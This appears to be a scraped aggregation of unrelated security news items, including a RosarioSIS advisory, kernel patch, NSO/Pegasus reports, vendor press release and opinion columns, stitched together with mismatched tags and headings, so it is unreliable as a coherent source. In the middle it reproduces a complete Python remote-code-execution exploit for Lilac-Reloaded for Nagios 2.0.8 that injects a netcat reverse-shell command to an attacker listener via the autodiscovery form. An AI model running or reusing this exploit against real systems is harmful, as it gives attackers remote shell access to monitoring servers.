RosarioSIS prior to version 10.9.3 has a vulnerability that allows a user to return to a page containing personally identifiable information (PII) and sensitive information even after logging out of the application by using the browser's back button.

**RosarioSIS improper access control vulnerability**

Moderate severity GitHub Reviewed Published Apr 21, 2023 to the GitHub Advisory Database • Updated Apr 24, 2023

GHSA-g66v-3v62-g375: RosarioSIS improper access control vulnerability

Categories: Apple
Categories: Exploits and vulnerabilities
Categories: News
Tags: Apple

Tags:  Lockdown Mode

Tags:  NSO

Tags:  PWNYOURHOME

Tags:  FINDMYPWN

Tags:  LATENTIMAGE

Apple's Lockdown Mode has shown that it can do what it was designed to do by notifying users about an NSO exploit.



(Read more...)




The post iOS Lockdown Mode effective against NSO zero-click exploit appeared first on Malwarebytes Labs.

Apple’s Lockdown Mode feature alerted a victim to one of the latest NSO exploits, according to a report by Citizen Lab.

_image courtesy of Citizen Lab_

This is a huge deal since it shows how useful Lockdown Mode can be, even against exploits developed by one of the world’s most notorious commercial spyware producers.

Pegasus spyware, developed by NSO Group, has featured in many news stories, after being found to have been used against journalists, politicians, State Department employees, embassy workers, and activists.

We talked about Pegasus infections in our podcast Lock and Code, which can be listened to in full here:

As Pegasus has become publicly scrutinized, NSO Group has expanded its product line. Citizen Lab found several new zero-click chains that it was able to tie to the NSO group with high confidence.

The report describes three of them in detail:

*   **PWNYOURHOME**: An iOS 15 and iOS 16 zero-click exploit which involves the HomeKit functionality built into iPhones and works even if the victim has never configured a “Home” inside HomeKit.
*   **FINDMYPWN**: An iOS 15 zero-day, zero-click exploit which is associated with the iPhone’s built-in Find My functionality.
*   **LATENTIMAGE**: An iOS 15 zero-click exploit which is also believed to use the iPhone’s Find My feature.

The use of multiple attack surfaces can be handled in two very different ways. You can play a game of whack a mole and patch the vulnerabilities as they get uncovered, which is certainly necessary and common practice, but it has the disadvantage of being responsive rather than preventive. And the report also stipulates that NSO is getting better at hiding itself and its traces on infected devices, which makes it harder to find and analyze the exploits they used.

The other way of minimizing the risk of exploits is to build with security in mind. Think of design decisions like memory safe programming languages, and sandboxing applications so a vulnerability in one does not lead to a compromised device and stays limited to the app. But also features like Apple’s Lockdown Mode which puts an iPhone into a state where it is more difficult to attack.

Lockdown Mode is available for iOS 16, iPadOS 16 and macOS Ventura. It is designed to provide a safer environment for users that are at a higher risk.

You could say it was introduced with Pegasus in mind. And although Apple refers to Lockdown Mode as "an extreme, optional protection," the limitations don't actually sound particularly difficult to live with.

*   **Messages**: Most message attachment types other than images are blocked and some features, like link previews, are unavailable.
*   **Web browsing**: Certain complex web technologies, like just-in-time (JIT) JavaScript compilation, are disabled unless the user excludes a trusted site from Lockdown Mode.
*   **Apple services**: Incoming invitations and service requests, including **FaceTime** calls, are blocked if the user has not previously sent the initiator a call or request.
*   **Wired connections** with a computer or accessory are blocked when iPhone is locked.

Configuration profiles cannot be installed, and the device cannot enroll into mobile device management (MDM), while Lockdown Mode is turned on. A device that was enrolled in Mobile Device Management before Lockdown Mode is enabled remains managed. System administrators can install and remove configuration profiles on that device.

Even though it’s very good news that Lockdown Mode proved it was able to notify a target about an ongoing attack, there are some caveats. The Citizen Lab report also mentions that NSO may have figured out a way to correct the notification issue, since Citizen Lab has had no new reports about it. NSO could have done this, for example, by fingerprinting Lockdown Mode. And since Lockdown Mode is not available for iOS 15 it only provides protection against the PWNYOURHOME exploit. The others didn’t work on iOS 16 anyway.

**Enabling Lockdown mode**

So, how do you turn on Lockdown Mode? If you consider yourself a target for commercial spyware or are willing to live with some minor inconveniences for a higher level of security, here’s what you can do.

How to enable Lockdown Mode on iPhone or iPad:

*   Open the **Settings** app
*   Tap **Privacy & Security**
*   Under **Security**, tap **Lockdown Mode** and tap **Turn On Lockdown Mode**
*   Tap **Turn On Lockdown Mode**
*   Tap **Turn On & Restart**, then enter your device passcode.

And you’re all set. If you feel that the limitations are a bit too strict for your convenience, don’t turn it off immediately because there are ways to exclude apps or websites from Lockdown Mode. While your device is in Lockdown Mode, you can exclude an app or website in Safari from being impacted and limited. Exclude only trusted apps or websites and only if necessary.

To exclude a website while browsing: Tap the **Page Settings** button , then tap **Website Settings**. Then turn off Lockdown Mode.

To exclude an app or edit your excluded websites:

*   Open the **Settings** app
*   Tap **Privacy & Security**
*   Under **Security**, tap **Lockdown Mode**
*   Tap **Configure Web Browsing**
*   Exclude websites or apps from Lockdown Mode on iPhone

To exclude an app, turn that app off in the menu. Only apps that you have opened since enabling Lockdown Mode and which have limited functionality appear on this list.

To edit your excluded websites, tap Excluded Safari Websites > Edit.

**We don’t just report on iOS security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your iOS devices by downloading Malwarebytes for iOS today.

iOS Lockdown Mode effective against NSO zero-click exploit

Improper Access Control in GitHub repository francoisjacquet/rosariosis prior to 10.9.3.

@@ -497,27 +497,31 @@ var ajaxPopState = function() {

\* @link https://stackoverflow.com/questions/17432899/javascript-bfcache-pageshow-event-event-persisted-always-set-to-false

\* @link https://huntr.dev/bounties/efe6ef47-d17c-4773-933a-4836c32db85c/

\*/

if (window.performance && (performance.navigation.type \== 2

|| (performance.getEntriesByType

&& performance.getEntriesByType("navigation")\[0\]

&& performance.getEntriesByType("navigation")\[0\].type \=== 'back\_forward'))) {

location.reload();

}

function browserHistoryCacheBuster(event) {

if (location.href.indexOf('Modules.php?') \=== \-1) {

// Current page is not Modules.php, no login required, skip.

return;

}

  

window.onpageshow\=function(event) {

/\*\*

\* Same as above for Safari (does not execute Javascript on history back)

\* persisted indicates if the document is loading from a cache (not reliable)

\*

\* @link https://web.dev/bfcache/

\*/

if (event.persisted

// persisted indicates if the document is loading from a cache (not reliable)

if ((event && event.persisted)

|| window.performance && (performance.navigation.type \== 2

|| (performance.getEntriesByType

&& performance.getEntriesByType("navigation")\[0\]

&& performance.getEntriesByType("navigation")\[0\].type \=== 'back\_forward'))) {

location.reload();

}

}

  

browserHistoryCacheBuster();

  

/\*\*

\* onpageshow: Same as above for Safari (does not execute Javascript on history back)

\*

\* @link https://web.dev/bfcache/

\*/

window.onpageshow\=function(event) {

browserHistoryCacheBuster(event);

};

  

// onunload: Fix for Firefox to execute Javascript on history back.

CVE-2023-2202: Security Fix browser loading cached page when page full reload (F5) +… · francoisjacquet/rosariosis@6433946

**DENVER****,** **April 20, 2023** **/PRNewswire/ --** Red Canary, a leader in managed detection and response, launched Red Canary Readiness, a new portfolio of offerings that gives teams a whole new way to train and prepare for incidents. Now any company can improve their incident response preparedness by empowering their security teams to practice and validate the skills, processes, and playbooks required to quickly respond to cyber and business continuity threats.

The initial Readiness product is Readiness Exercises, a first-of-its-kind continuous learning platform that combines training, tabletops, and atomic tests in one experience. With Readiness Exercises available today, cybersecurity professionals get on-demand content and expert training at their fingertips, making it easy for companies to skill up employees, no matter where they are.

**Enterprises must maintain a skilled and ready workforce to face today's top cybersecurity threats**

Adversaries are becoming faster and more efficient at distributing and scaling cyberattacks. Rather than infrequent and one-size-fits-all training, continuous learning is critical to keep pace with the evolving threat landscape.

Readiness scenarios are ripped from the headlines and informed by Red Canary's leading threat intelligence and adversary research from its Managed Detection and Response (MDR) solution, which conducts millions of investigations per year. This expertise is mapped to industry-standard frameworks, such as NIST and MITRE ATT&CK®, to ensure teams are practicing the most critical scenarios. Training can be self-guided or facilitated, ranging from 20 minutes to 2 hours, and prepares teams to face incidents involving business email compromise, ransomware, and other threats including Qbot and Raspberry Robin.

"We have previously invested in cybersecurity training but have had mixed results. The exercises don't always relate to the threats that matter most to us, and the lessons are infrequent and don't always stick," said Michael Strong, Chief Security Officer, GCI. "This is why we are so excited about Readiness Exercises. Now our team can continuously train and benchmark our progress, learning from the Red Canary team who respond to real-world threats daily. It gives me confidence knowing that we're better prepared for the next threat that comes our way."

"Just having an incident response plan and a set of playbooks is no longer enough. That plan and those playbooks must be put to the test regularly and refined to keep up with evolving threats," wrote Jess Burn, Sr. Analyst, Forrester in an April 2022 blog post.

Readiness Exercises foster continuous learning, which drives both employee and business success through:

*   **Continuously improving your readiness:** Benchmark current skill levels against industry standards through frequent feedback and scoring. Onboard new team members and establish a culture of consistent skill improvement.
*   **Training for real-world threats:** Continuously practice and validate team preparedness against realistic scenarios based on trending adversary groups, tools, and MITRE ATT&CK® techniques.
*   **Get training, tabletops, and atomic tests in one experience:** Bring together disparate learning tools and run them in your environment to maximize their relevance and impact.

"We're excited to announce the launch of Readiness Exercises, a comprehensive solution that combines tabletop exercises, cybersecurity training, and atomic testing into a seamless, continuous learning experience," said Brian Beyer, CEO of Red Canary. "With this innovative product, we're reinventing the way organizations approach cybersecurity training and prepare for real-world threats."

**Learn more**

*   Learn more about Readiness
*   Watch the Readiness Exercises video
*   Register for the Readiness webinar

**Availability** 

Red Canary Readiness launched today, with Red Canary Readiness Exercises generally available now.

**About Red Canary**

Red Canary is a leader in managed detection and response (MDR). We serve companies of every size and industry, focusing on finding and stopping threats before they can have a negative impact. As the security ally for nearly 1,000 organizations, we provide MDR across our customers' cloud workloads, identities, SaaS applications, networks, and endpoints. For more information about Red Canary, visit: https://www.redcanary.com.

SOURCE Red Canary

Red Canary Announces Readiness

A vulnerability was found in compare_netdev_and_ip in drivers/infiniband/core/cma.c in RDMA in the Linux Kernel. The improper cleanup results in out-of-boundary read, where a local user can utilize this problem to crash the system or escalation of privilege.

From: Patrisious Haddad <phaddad@xxxxxxxxxx>

resolve\_prepare\_src() changes the destination address of the id,
regardless of success, and on failure zeroes it out.

Instead on function failure keep the original destination address
of the id.

Since the id could have been already added to the cm id tree and
zeroing its destination address, could result in a key mismatch or
multiple ids having the same key(zero) in the tree which could lead to:

BUG: KASAN: slab-out-of-bounds in compare\_netdev\_and\_ip.isra.0+0x25/0x120 drivers/infiniband/core/cma.c:473
Read of size 4 at addr ffff88800920d9e4 by task syz-executor.4/14865

CPU: 2 PID: 14865 Comm: syz-executor.4 Not tainted 5.19.0-rc2 #21
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014
Call Trace:
 <TASK>
 \_\_dump\_stack lib/dump\_stack.c:88 \[inline\]
 dump\_stack\_lvl+0x6e/0x91 lib/dump\_stack.c:106
 print\_address\_description mm/kasan/report.c:313 \[inline\]
 print\_report.cold+0xff/0x68e mm/kasan/report.c:429
 kasan\_report+0xa8/0x130 mm/kasan/report.c:491
 compare\_netdev\_and\_ip.isra.0+0x25/0x120 drivers/infiniband/core/cma.c:473
 cma\_add\_id\_to\_tree drivers/infiniband/core/cma.c:506 \[inline\]
 rdma\_resolve\_route+0xbc4/0x1560 drivers/infiniband/core/cma.c:3303
 ucma\_resolve\_route+0xe4/0x150 drivers/infiniband/core/ucma.c:746
 ucma\_write+0x19f/0x280 drivers/infiniband/core/ucma.c:1744
 vfs\_write fs/read\_write.c:589 \[inline\]
 vfs\_write+0x181/0x580 fs/read\_write.c:571
 ksys\_write+0x1a1/0x1e0 fs/read\_write.c:644
 do\_syscall\_x64 arch/x86/entry/common.c:50 \[inline\]
 do\_syscall\_64+0x3d/0x90 arch/x86/entry/common.c:80
 entry\_SYSCALL\_64\_after\_hwframe+0x46/0xb0
RIP: 0033:0x7f2afbe8c89d
Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f2afcf1ec28 EFLAGS: 00000246 ORIG\_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 00007f2afbfabf60 RCX: 00007f2afbe8c89d
RDX: 0000000000000010 RSI: 0000000020000100 RDI: 0000000000000003
RBP: 00007f2afbef910d R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007ffcdc77c66f R14: 00007f2afbfabf60 R15: 00007f2afcf1edc0
 </TASK>

Fixes: 19b752a19dce ("IB/cma: Allow port reuse for rdma\_id")
Signed-off-by: Patrisious Haddad <phaddad@xxxxxxxxxx>
Reviewed-by: Maor Gottlieb <maorg@xxxxxxxxxx>
Reported-by: Wei Chen <harperchen1110@xxxxxxxxx>
Signed-off-by: Leon Romanovsky <leonro@xxxxxxxxxx>
---
 drivers/infiniband/core/cma.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/drivers/infiniband/core/cma.c b/drivers/infiniband/core/cma.c
index 1fca0a24f30f..2d4c391e36a9 100644
--- a/drivers/infiniband/core/cma.c
+++ b/drivers/infiniband/core/cma.c
@@ -3584,8 +3584,11 @@ static int resolve\_prepare\_src(struct rdma\_id\_private \*id\_priv,
 			       struct sockaddr \*src\_addr,
 			       const struct sockaddr \*dst\_addr)
 {
+	struct sockaddr org\_addr = {};
 	int ret;
 
+	memcpy(&org\_addr, cma\_dst\_addr(id\_priv),
+	       rdma\_addr\_size(cma\_dst\_addr(id\_priv)));
 	memcpy(cma\_dst\_addr(id\_priv), dst\_addr, rdma\_addr\_size(dst\_addr));
 	if (!cma\_comp\_exch(id\_priv, RDMA\_CM\_ADDR\_BOUND, RDMA\_CM\_ADDR\_QUERY)) {
 		/\* For a well behaved ULP state will be RDMA\_CM\_IDLE \*/
@@ -3608,7 +3611,7 @@ static int resolve\_prepare\_src(struct rdma\_id\_private \*id\_priv,
 err\_state:
 	cma\_comp\_exch(id\_priv, RDMA\_CM\_ADDR\_QUERY, RDMA\_CM\_ADDR\_BOUND);
 err\_dst:
-	memset(cma\_dst\_addr(id\_priv), 0, rdma\_addr\_size(dst\_addr));
+	memcpy(cma\_dst\_addr(id\_priv), &org\_addr, rdma\_addr\_size(&org\_addr));
 	return ret;
 }
 
-- 
2.38.1

CVE-2023-2176: Fix resolve_prepare_src error cleanup — Linux RDMA and InfiniBand development

Today's LLMs pose too many trust and security risks.

_The Berryville Institute of Machine Learning (BIML) recently attended_ _Calypso AI’s Accelerate AI 2023_ _conference in Washington, DC. The meeting included practitioners from both government and industry, regulators, and academics. I participated in a very timely panel entitled "Emerging Risks and Opportunities of LLMs in the NATSEC and Beyond." That panel spurred this article._

_None of the content in this column was created by an LLM._

Large language models (LLMs) are a kind of machine learning system that has taken the world by storm. ChaptGPT (aka GPT-3.5), an LLM produced and fielded by OpenAI, is one of the most pervasive and popular of the many generative AI models for text. Other generative models include the image generators Dall-E, Midjourney, and Stable Diffusion, and the code generator Copilot.

LLMs and other generative tools present incredible opportunities for applications, and the rush to field such systems is in full gallop. LLMs have the potential to be lots of fun, solve hard problems in science, help with the thorny problems of knowledge management, create interesting content, and most importantly in my view, move the world a little closer to artificial general intelligence (AGI) and a theory of representation that produces massive cognitive science breakthroughs.

But using today's nascent LLMs — and any generative AI tools — comes with real risks.

**Of Parrots and Pollution**

LLMs are trained on massive corpuses of information (300 billion words, mostly scraped from the Internet) and use auto-association to predict the next word in a sentence. As such, most scientists agree that LLMs do not really "understand" anything or do any real thinking. Rather, they are "stochastic parrots," as some researchers call them. LLMs still do generate impressive streams of text, in context, and in an often useful and deeply surprising manner.

Feedback loops are an important class of problem in all kinds of ML models (and one that BIML introduced several years ago as “\[raw:8:looping\]”). Here is what we said at the time:

_Model confounded by subtle feedback loops. If data output from the model are later used as input back into the same model, what happens? Note that this is rumored to have happened to Google translate in the early days when translations of pages made by the machine were used to train the machine itself. Hilarity ensued. To this day, Google restricts some translated search results through its own policies_.

Imagine what will happen when a majority of what can be easily scraped from the Internet is generated by AI models of dubious quality, and then these LLMs start to eat their own tails. Talk about information pollution.

Some AI researchers and information security professionals are already deeply worried about information pollution today, but an infinite spewing information pollution pipeline sounds bad.

**Mansplaining-as-a-Service**

LLMs are very good B.S. artists. These models regularly express incorrect opinions and alternative facts with great confidence, and often make up information to justify their answers in a conversation (including pretend scientific references). Imagine what happens when average knowledge as scraped from the Internet — which includes lots of wrong things — is used to create new content.

The ultimate "reply guy" is not who we need writing news stories for us in the future. Facts actually do matter.

**Mirroring Broken Security**

LLMs are often trained on data that is biased in many ways. Sexist, racist, xenophobic, and misogynistic systems can and will be modeled from data sets originally collected when society was less progressive. Bias is a serious issue in LLMs, and one that operational Band-Aids are unlikely to fix.

**Trusting Deepfakes**

Deepfakes are a side effect of generative AI that has been discussed for some time. Fakes or spoofing are always a risk in security, but the capacity to make higher-quality fakes that are easy to believe is here. There are some obvious worst-case scenarios: moving markets, causing wars, inflaming cultural divides, and so on. Careful where that video came from.

**Automating Everything**

Generative models like LLMs have the capacity to replace lots of jobs, including low-level white collar jobs. Millions of people get plenty of satisfaction out of their jobs, but what if all of those jobs are willy-nilly replaced by ML systems that are cheaper to operate? We already see this with some writing content-creation jobs in local sports stories and marketing copy, for example. Should LLMs be writing our articles? Should they be practicing law? How about doing medical diagnosis?

**Using a Tool for Evil**

Generative AI can create some fun stuff. If you haven’t played with ChapGPT, you should give it a shot. I haven’t had this much fun with new technology since I got my first Apple \]\[+ in 1981, or since Java applets came out in 1995.

But the power of generative AI can be used for evil as well. For example, what if we put ML to the task of designing a novel virus with the propagation capability of COVID and the delayed onset parameters of rabies? Or how about the task of creating a plant with pollen that is also a neurotoxin. If I can think up these dastardly things in my kitchen, what happens when a real evil person starts brainstorming with ML?

Tools have no intrinsic morality or ethics. And for the record, the idea of "protecting prompts" is a pretend solution akin to protecting supercomputer access with command-line filtering.

**Holding Information in a Broken Cup**

Data moats are a thing now. That’s because if an ML model (with the help of humans) can get to your data and learn how to profitably parrot what you do by training on your data, it will. This leads to multiple risks best solved by carefully protecting your data sets instead of cramming them unto an ML model and fielding the model to the general public. In the gold rush world of ML, the gold is data.

Protecting data is harder than it sounds. Think how the government's current information classification system can't always protect classified information. Clearly, protecting sensitive and confidential information is already a huge challenge, so imagine what happens when we intentionally train up our ML systems on confidential information and set them out into the world.

Extraction and transfer attacks exist today, so be careful what you pour in your ML cup.

**What Should We Do About LLM Risk?**

So should we put some kind of magic moratorium on ML research for a few months as some technologists have self-servingly suggested? No, that's just silly. What we need to do is recognize these risks and face them directly.

The good news is that an entire industry is being built around securing ML systems, which I call machine learning security or MLsec. Check out what these new hot startups are building to control ML risk — but do so with a skeptical and well-informed eye.

Expert Insight: Dangers of Using Large Language Models Before They Are Baked

Overcoming the limitations of consumer MFA with a new flavor of passwordless.

Twitter recently disabled SMS-based two-factor authentication (2FA) except for Twitter Blue subscribers. While the intended results may be cost-savings and boosting the number of subscribers, the decision is likely to have unintended security consequences. Even some tech-savvy people who know and care about security find Twitter's 2FA alternatives awkward enough to delay until they are forced into it, so Twitter's new policy will likely result in fewer accounts using 2FA. Educating users about how to set up authenticator apps and security keys is one solution. But that's analogous to building a faster horse.

Fundamentally, the enterprise 2FA playbook cannot be applied to consumer scenarios in equal measure because consumers can vote with their feet. Any added step will send them galloping into the arms of the competition. Thus, the Twitter news should be a call for disruption, and for solutions that protect consumer identities without introducing friction. I believe that technology is passkeys when available uniformly across the digital landscape.

**The State of Consumer MFA**

It’s broadly accepted that any multifactor authentication (MFA) is better than no MFA (I’ll use MFA here to mean authenticating your identity with two or more factors). MFA solutions prevent bad actors from accessing resources using only a victim's primary credentials. Our CISO once observed that MFA and adaptive authentication would have prevented 95% of the breaches she has seen.

But not all MFA is created equal. Some factors are weaker than others, particularly against targeted attacks. Security questions, SMS, voice, and email-based one-time passwords are considered low-assurance factors. All these factors are vulnerable to phishing. Attackers can bypass weaker factors by "guessing" the authenticator code; intercepting the code-containing SMS; or creating "alert fatigue" by bombarding the user with messages until they complete the MFA challenge.

**MFA Bypass Attacks**

Recent research found more than 113 million MFA bypass (registration required) attempts against consumer and SaaS applications over a 90-day period, representing the highest baseline level of attacks of any year on record. Given what we know about weaker factors, you'd be forgiven for thinking Twitter's decision to disable text-based authentication is a good one. But as with most things in identity, there is more complexity that meets the eye, particularly when we look at MFA adoption issues.

**The Trouble With MFA Adoption**

The challenge of getting users to sign up for any form of MFA lies in the technology's origin story. Passwords predate modern online services by thousands of years (just think about "Open, Sesame" in "Ali Baba and the 40 Thieves"). Two-factor authentication entered the picture much later as a way for enterprises and governments to protect their internal systems with something you know (password) and something you have (device, code, or security key).

Technologies developed in an enterprise context have historically prioritized security. The administrator has the power to enforce security measures across the employee base to protect the company's interests. When organizations try to use the same playbook with consumers, they fail, because consumers can vote with their feet. And the impact can quickly become existential.

So, what about authenticator apps? For us in the industry, this might look like the obvious technical alternative to SMS-based methods. But few end users are this digitally savvy. The more likely result of forcing something like an authenticator app or security key at scale is that people just won't use it.

**Phishing-Resistant Authentication**

The transition to phishing-resistant factors offers one potential solution to consumer MFA woes. FIDO and WebAuthn rely on public key cryptography and biometrics to significantly improve both security and the user experience. When using public key cryptography, there are no codes or secrets to be stolen. Users go through a biometric check on their device to unlock access to their private key, which is way faster than entering an SMS code. There are nuances in how biometric data is validated that can make a big difference for data privacy and security.

**The Passkeys Opportunity**

Despite exciting progress toward more secure and usable factors, the best MFA mechanism for consumers really isn't MFA at all — it's passkeys. Passkeys are a FIDO authenticator with the advantage of being backed up to the cloud, so if you lose your device or buy a new one, all you must do is sign into your iCloud or Google Play account to recover your passkeys. Passkeys use public key cryptography and device biometrics, making them resistant to many known attacks, and are easy for the user.

Should passkeys have been used on Twitter? Absolutely, but they may not have been a clear option at the time. Supporting something new is always expensive from the engineering perspective. If passkeys had been an option, the experience for the user might have looked something like this:

1.  The user signs into Twitter on their mobile device with username and password;
2.  They are asked if they would like to use a passkey to authenticate next time; and
3.  The user receives a biometric prompt from then on without needing to install anything. They can even go to their Mac and open Twitter in Safari, and the passkey will be automatically synced to that device.

Offering passkey authentication currently requires some reworking, but it's easier and more cost-effective than SMS. Unfortunately, passkeys are not yet uniformly distributed. Apple added support early on, followed by Android and Chrome. Windows currently supports passkeys on a single device.

Whenever you're asking people to change, you need to take concrete steps to make the transition easier. In the case of Twitter, that would be explaining to users what they can do to change their second factor, to avoid them dropping MFA entirely. This would be an amazing passkey adoption opportunity if the industry were ready. We're already in a fantastic position to encourage people to use this flavor of passwordless. What comes next is making it easier for developers to implement the necessary changes in their apps and websites. A future with fewer passwords may not be so far away after all.

Twitter's 2FA Policy Is a Call for Passkey Disruption

Lilac-Reloaded for Nagios version 2.0.l8 remote code execution exploit.

    #!/usr/bin/env python"""# Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)# Google Dork: N/A# Date: 2023-04-13# Exploit Author: max / Zoltan Padanyi# Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit# Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download# Version: 2.0.8# Tested on: Debian 7.6# CVE : N/AThe autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ;Use at your own risk!RCA - wild exec is ongoing without any filteringin library/Net/Traceroute.php   181      function _setTraceroutePath($sysname)   182      {   183          $status    = '';   184          $output    = array();   185          $traceroute_path = '';   186   187          if ("windows" == $sysname) {   188              return "tracert";   189          } else {   190              $traceroute_path = exec("which traceroute", $output, $status);   [...]   257      function traceroute($host)   258      {   259   260          $argList = $this->_createArgList();   261          $cmd = $this->_traceroute_path." ".$argList[0]." ".$host." ".$argList[1];   262          exec($cmd, $this->_result);"""import requestsimport argparseparser = argparse.ArgumentParser()parser.add_argument("-u", "--url", help="The full path of the autodiscover.php in lilac (i.e. http://127.0.0.1/lilac/autodiscovery.php", required=True)parser.add_argument("-i", "--ip", help="Listener IP", required=True)parser.add_argument("-p", "--port", help="Listener port", required=True, type=int)args = parser.parse_args()rev_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip} {args.port} >/tmp/f;"body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"}try:    r = requests.get(args.url)    if r.ok:      print("[+] URL looks good...moving forward...")      print("[+] Sending exploit in...")      r = requests.post(args.url,data=body)      if r.ok:        print("[+] Got HTTP 200, check your listener!")    else:      print("[-] Some kind of error happened, check the http response below!")      print(r.text)except Exception as e:  print("General exception: " + str(e))

Lilac-Reloaded For Nagios 2.0.8 Remote Code Execution

Campaigns that wielded NSO Group's Pegasus against high-risk users over a six-month period demonstrate the growing sophistication and relentless nature of spyware actors.

Attackers have been targeting iPhone users around the globe in ongoing Pegasus spyware attacks. They show that cyber-threat actors are targeting both new exploits and older, unupdated devices to circumvent new preventative measures from Apple, researchers have found.

One of the multiple targeted campaigns observed over the last six months involved an iPhone user in the Middle East, and another a journalist in Europe using an iPhone 6 that is not supported by the latest iOS updates, researchers at Jamf Threat Labs reported in a recent blog post. Those updates include new threat "Lockdown Mode" notifications by Apple that can help warn someone if there is unusual activity that could be related to spyware on their devices.

The attacks demonstrate how threat actors continue to evolve and grow in sophistication even as there is more awareness about spyware and prevention against these attacks, which are often used with malicious intent by governments to target dissidents or others who investigate or are unsupportive of policies or regimes, the researchers said.

"Modern spyware is very advanced and, as evidenced by the continued evolution of commercial spyware, continues to leverage zero-day vulnerabilities in both old and new devices to ensure any user can be effectively targeted," the researchers wrote in the post.

They also indicate that though the researchers were able to take a deep dive into devices involved in some of the recent attacks, there is no consistency in terms of how the individuals or organizations targeted investigate attacks after the fact. This makes it difficult to respond or prevent further attacks in a timely or comprehensive way, the researchers said.

Moreover, "not all users impacted by spyware have been contacted by Apple, illustrating the challenges with maintaining a comprehensive list of indicators of compromise (IoCs) and with extracting relevant data remotely," they wrote.

**Mideast Activist Targeted**

Researchers specifically detailed two separate attacks that demonstrate how no iPhone is safe from being targeted, despite Apple's bolstering of preventative measures in its most recent updates to iOS.

One attack targeted an iPhone 12 Pro Max user in the Middle East who eventually was notified by Apple of suspicious activity on the device, which showed IoCs that Pegasus — the notorious spyware from Israel's NSO Group — was running.

Subsequent analysis from Jamf Threat Labs revealed traces of the "libtouchregd" process on the device, which Amnesty International has identified as an IoC associated with Pegasus spyware, the researchers said.

The device also yielded additional IoCs via subsequent analysis of the com.apple.CrashReporter.plist file, which is located within a root folder on iOS and serves as a configuration file for the system daemon, ReportCrash, according to the researchers.

"Under normal operating conditions, applications are not granted permission to access or modify this file," the researchers wrote. "Alteration of this file could potentially impede the reporting of crash report logs to Apple. Additionally, the existence of the file is rare for normal users."

Apple sent a threat notification to the Middle East user late last year that a potential attack was occurring on the device and recommended updating it to iOS 16.2. The user subsequently engaged with security researchers to better understand the attack timeline and details, which resulted in a determination that Pegasus was used in the attack.

"These findings have allowed Jamf Threat Labs to build a more robust profile on a device with 'proven' compromise status," the researchers wrote.

**Targeting an Outdated Device**

Another spyware attack targeted an iPhone 6 — currently unsupported by the latest version of iOS — used by a journalist in Europe working for a global news agency, the researchers reported. The device also showed evidence of system crashes, similar to the phone in the Middle East scenario, that indicated it had been compromised.

However, even more suspiciously, investigators discovered files at an atypical location within iPhone’s strict file system, with one that was "clearly masquerading as a built-in binary," the researchers wrote.

"Based on this path and filename, we have strong reason to believe this may be a new indicator that can be used to assess if a device has been targeted," by a specific threat actor, they wrote. Though they could not conclusively identify the threat actor or the use of Pegasus, they said they notified Apple of a potential new IoC by the actor.

Moreover, an attack on an older device that's clearly unsupported by the latest Apple updates — including its enhanced threat-notification program — demonstrates the relentless nature of spyware actors, the researchers said.

"The continued targeting of older devices, such as the iPhone 6s, serves as a reminder that malicious threat actors will exploit any vulnerabilities in an organization's infrastructure, attacking wherever possible," they wrote.

**Mitigations & Prevention**

Given the advanced and evolving knowledge base around spyware, there are numerous ways that organizations can protect users from being attacks. The latest campaigns demonstrate the most basic mitigation tactic, which is to ensure that all devices are running the most current OS and have all available security patches applied, the researchers said.

At the same time, organizations should practice similar hygiene on the corporate network, keeping all applications — both business oriented and personal — up to date and fully patched, as "mobile application vulnerabilities are easily exploited and frequently overlooked by security teams," the researchers wrote.

Jamf also recommends running security software to monitor for suspicious activity on mobile devices and reporting it alongside all other endpoint monitoring dashboards to ensure they are treated with the same attention and urgency as desktops, laptops, and servers.

Other steps organizations can take to protect users include: monitoring communications for suspicious downloads, command-and-control (C2) indicators, and data exfiltration, and utilizing automated policy controls to block known bad activity before it can cause further damage.

High-risk users also should receive separate education about the symptoms of spyware — such as performance issues and frequent crashes — and be encouraged to use an iPhone's Lockdown Mode if necessary, the researchers said. This protects devices against these extremely rare and highly sophisticated cyberattacks.

Global Spyware Attacks Spotted Against Both New & Old iPhones

Why is Visibility into OT Environments Crucial?
The significance of Operational Technology (OT) for businesses is undeniable as the OT sector flourishes alongside the already thriving IT sector. OT includes industrial control systems, manufacturing equipment, and devices that oversee and manage industrial environments and critical infrastructures. In recent years, adversaries have recognized the

****Why is Visibility into OT Environments Crucial?****

The significance of Operational Technology (OT) for businesses is undeniable as the OT sector flourishes alongside the already thriving IT sector. OT includes industrial control systems, manufacturing equipment, and devices that oversee and manage industrial environments and critical infrastructures. In recent years, adversaries have recognized the lack of detection and protection in many industrial systems and are actively exploiting these vulnerabilities. In response, IT security leaders have become more aware of the need to protect their OT environments with security monitoring and response capabilities. This development was accelerated by severe past cyber incidents targeting critical OT environments and even causing physical damage to infrastructures. Given the pivotal role these systems play in business operations and modern society, ensuring their security is of utmost importance.

